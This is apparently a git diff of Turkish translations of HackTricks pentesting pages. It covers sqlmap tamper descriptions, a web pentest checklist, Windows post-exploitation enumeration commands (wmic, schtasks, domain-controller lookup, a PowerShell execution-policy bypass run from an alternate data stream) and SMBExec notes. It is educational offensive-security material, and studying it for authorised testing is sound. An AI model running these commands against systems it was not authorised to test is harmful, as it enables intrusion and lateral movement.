| space2mssqlhash.py | Boşluk karakterini (' ') bir pound karakteri ('#') ile değiştirir, ardından yeni bir satır ('\n') ekler |
| space2mysqlblank.py | Boşluk karakterini (' ') geçerli alternatif karakterler setinden rastgele bir boş karakter ile değiştirir |
| space2mysqldash.py | Boşluk karakterini (' ') bir tire yorumu ('--') ile değiştirir, ardından yeni bir satır ('\n') ekler |
| space2plus.py | Boşluk karakterini (' ') artı ('+') ile değiştirir |
@ -207,9 +207,9 @@ Unutmayın ki **kendi tamper'ınızı python ile oluşturabilirsiniz** ve bu ço
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanarak, sıkı çalışmanızı ikna edici raporlara dönüştürmek için 20'den fazla özel aracımızı kullanın.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}

View file

@ -17,19 +17,19 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için 20'den fazla özel aracımızı kullanarak, sıkı çalışmanızı ikna edici raporlara dönüştürün.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
Her Web Pentest'te, **vulnerable olabilecek birkaç gizli ve belirgin yer vardır**. Bu gönderi, tüm olası yerlerde güvenlik açıklarını aradığınızı doğrulamak için bir kontrol listesi olarak tasarlanmıştır.
Her Web Pentest'te, **kapsamlı ve belirgin birkaç yerin savunmasız olabileceği** durumlar vardır. Bu gönderi, tüm olası yerlerde güvenlik açıklarını aradığınızı doğrulamak için bir kontrol listesi olarak tasarlanmıştır.
## Proxiler
{% hint style="info" %}
Günümüzde **web** **uygulamaları** genellikle bazı tür **aracı** **proxy'ler** kullanır, bunlar güvenlik açıklarını istismar etmek için (kötüye) kullanılabilir. Bu güvenlik açıklarının var olması için bir vulnerable proxy'nin mevcut olması gerekir, ancak genellikle arka uçta da bazı ek güvenlik açığına ihtiyaç duyarlar.
Günümüzde **web** **uygulamaları** genellikle bazı tür **aracı** **proxy'ler** kullanır, bunlar güvenlik açıklarını istismar etmek için (kötüye) kullanılabilir. Bu güvenlik açıklarının var olması için bir savunmasız proxy'nin mevcut olması gerekir, ancak genellikle arka uçta da bazı ek güvenlik açıklarına ihtiyaç duyarlar.
{% endhint %}
* [ ] [**Hop-by-hop başlıklarının kötüye kullanılması**](abusing-hop-by-hop-headers.md)
@ -50,7 +50,7 @@ Verilerin yapısına bağlı olarak, sunucunun beklediği bazı güvenlik açık
### **Yansıtılan Değerler**
Eğer girilen veriler bir şekilde yanıtta yansıtılabiliyorsa, sayfa çeşitli sorunlara karşı vulnerable olabilir.
Eğer girilen veriler bir şekilde yanıtta yansıtılabiliyorsa, sayfa çeşitli sorunlara karşı savunmasız olabilir.
* [ ] [**İstemci Tarafı Şablon Enjeksiyonu**](client-side-template-injection-csti.md)
* [ ] [**Komut Enjeksiyonu**](command-injection.md)
@ -62,13 +62,13 @@ Eğer girilen veriler bir şekilde yanıtta yansıtılabiliyorsa, sayfa çeşitl
* [ ] [**Sunucu Tarafı Dahil Etme/Kenar Tarafı Dahil Etme**](server-side-inclusion-edge-side-inclusion-injection.md)
* [ ] [**Sunucu Tarafı İstek Sahteciliği**](ssrf-server-side-request-forgery/)
* [ ] [**Sunucu Tarafı Şablon Enjeksiyonu**](ssti-server-side-template-injection/)
* [ ] [**Ters Sekme Nabbing**](reverse-tab-nabbing.md)
* [ ] [**Ters Sekme Kapatma**](reverse-tab-nabbing.md)
* [ ] [**XSLT Sunucu Tarafı Enjeksiyonu**](xslt-server-side-injection-extensible-stylesheet-language-transformations.md)
* [ ] [**XSS**](xss-cross-site-scripting/)
* [ ] [**XSSI**](xssi-cross-site-script-inclusion.md)
* [ ] [**XS-Arama**](xs-search/)
Bahsedilen bazı güvenlik açıkları özel koşullar gerektirirken, diğerleri yalnızca içeriğin yansıtılmasını gerektirir. Güvenlik açıklarını hızlı bir şekilde test etmek için bazı ilginç poliglotlar bulabilirsiniz:
Bahsedilen bazı güvenlik açıkları özel koşullar gerektirirken, diğerleri yalnızca içeriğin yansıtılmasını gerektirir. Hızlı bir şekilde güvenlik açıklarını test etmek için bazı ilginç poliglotlar bulabilirsiniz:
{% content-ref url="pocs-and-polygloths-cheatsheet/" %}
[pocs-and-polygloths-cheatsheet](pocs-and-polygloths-cheatsheet/)
@ -117,8 +117,8 @@ Bazı özel işlevlerde, bunları aşmak için bazı geçici çözümler yararl
### **Yapılandırılmış nesneler / Özel işlevler**
Bazı işlevler, **verilerin çok özel bir formatta yapılandırılmasını** gerektirir (örneğin, bir dil serileştirilmiş nesne veya XML). Bu nedenle, uygulamanın bu tür verileri işlemesi gerektiğinden, vulnerable olup olmadığını belirlemek daha kolaydır.\
Bazı **özel işlevler**, **girişin belirli bir formatı kullanıldığında** (örneğin, E-posta Başlık Enjeksiyonları) da vulnerable olabilir.
Bazı işlevler, **verilerin çok özel bir formatta yapılandırılmasını** gerektirir (örneğin, bir dil serileştirilmiş nesne veya XML). Bu nedenle, uygulamanın bu tür verileri işlemesi gerektiğinden, savunmasız olup olmadığını belirlemek daha kolaydır.\
Bazı **özel işlevler**, **girişin belirli bir formatı kullanıldığında** (örneğin, E-posta Başlık Enjeksiyonları) da savunmasız olabilir.
* [ ] [**Deserialization**](deserialization/)
* [ ] [**E-posta Başlık Enjeksiyonu**](email-injections.md)
@ -127,8 +127,8 @@ Bazı **özel işlevler**, **girişin belirli bir formatı kullanıldığında**
### Dosyalar
Dosya yüklemeye izin veren işlevler, çeşitli sorunlara karşı vulnerable olabilir.\
Kullanıcı girişini içeren dosyalar üreten işlevler beklenmedik kod çalıştırabilir.\
Dosya yüklemeye izin veren işlevler, çeşitli sorunlara karşı savunmasız olabilir.\
Kullanıcı girişini içeren dosyalar oluşturan işlevler beklenmedik kod çalıştırabilir.\
Kullanıcıların yüklediği veya kullanıcı girişini içeren otomatik olarak oluşturulan dosyaları açan kullanıcılar tehlikeye girebilir.
* [ ] [**Dosya Yükleme**](file-upload/)
@ -148,12 +148,12 @@ Bu güvenlik açıkları, diğer güvenlik açıklarını istismar etmeye yardı
* [ ] [**Alan/Alt alan ele geçirme**](domain-subdomain-takeover.md)
* [ ] [**IDOR**](idor.md)
* [ ] [**Parametre Kirliliği**](parameter-pollution.md)
* [ ] [**Unicode Normalizasyon güvenlik açığı**](unicode-injection/)
* [ ] [**Unicode Normalizasyonu güvenlik açığı**](unicode-injection/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için 20'den fazla özel aracımızı kullanarak, sıkı çalışmanızı ikna edici raporlara dönüştürün.

View file

@ -9,15 +9,15 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, sıkı çalışmanızı ikna edici raporlara dönüştürün.
@ -51,13 +51,13 @@ Bazı çevresel değişkenleri vurgulamak için:
* **HOMEPATH/USERPROFILE:** Ana dizin
* **windir:** C:\Windows
* **OS**: Windows OS
* **LOGONSERVER**: Alan denetleyicisinin adı
* **USERDNSDOMAIN**: DNS ile kullanılacak alan adı
* **USERDOMAIN**: Alanın adı
* **LOGONSERVER**: Etki alanı denetleyicisinin adı
* **USERDNSDOMAIN**: DNS ile kullanılacak etki alanı adı
* **USERDOMAIN**: Etki alanının adı
```bash
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC
```
### Bağlı diskler
### Montajlı diskler
```bash
(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername
@ -68,7 +68,7 @@ wmic logicaldisk get caption,description,providername
```bash
dir C:\$Recycle.Bin /s /b
```
### Süreçler, Hizmetler ve Yazılımlar
### Süreçler, Hizmetler & Yazılımlar
```bash
schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
@ -419,7 +419,7 @@ powershell -ep bypass - < c:\temp:ttt
```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Bir hacker'ın web uygulamalarınız, ağınız ve bulut üzerindeki bakış açısını edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
@ -435,7 +435,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -1,23 +1,23 @@
# SmbExec/ScExec
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
<summary>Support HackTricks</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
@ -29,7 +29,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" a
### **SMBExec** Hakkında Ana Noktalar
- Hedef makinede komutları cmd.exe (%COMSPEC%) aracılığıyla yürütmek için geçici bir hizmet (örneğin, "BTOBTO") oluşturarak çalışır, herhangi bir ikili dosya bırakmaz.
- Hedef makinede cmd.exe (%COMSPEC%) aracılığıyla komutları yürütmek için geçici bir hizmet (örneğin, "BTOBTO") oluşturarak çalışır, herhangi bir ikili dosya bırakmadan.
- Gizli yaklaşımına rağmen, yürütülen her komut için olay günlükleri oluşturur ve etkileşimsiz bir "shell" biçimi sunar.
- **Smbexec** kullanarak bağlanma komutu şu şekildedir:
```bash
@ -56,9 +56,9 @@ FOr further details check [https://blog.ropnop.com/using-credentials-to-own-wind
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin
**Web uygulamalarınız, ağınız ve bulutunuz hakkında bir hacker perspektifi edinin**
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve otomatik istismarları kullanarak temel kanıtları toplamak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürün.
**Gerçek iş etkisi olan kritik, istismar edilebilir güvenlik açıklarını bulun ve raporlayın.** Saldırı yüzeyini haritalamak, ayrıcalıkları artırmanıza izin veren güvenlik sorunlarını bulmak ve temel kanıtları toplamak için otomatik istismarları kullanmak için 20'den fazla özel aracımızı kullanın, böylece sıkı çalışmanızı ikna edici raporlara dönüştürebilirsiniz.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}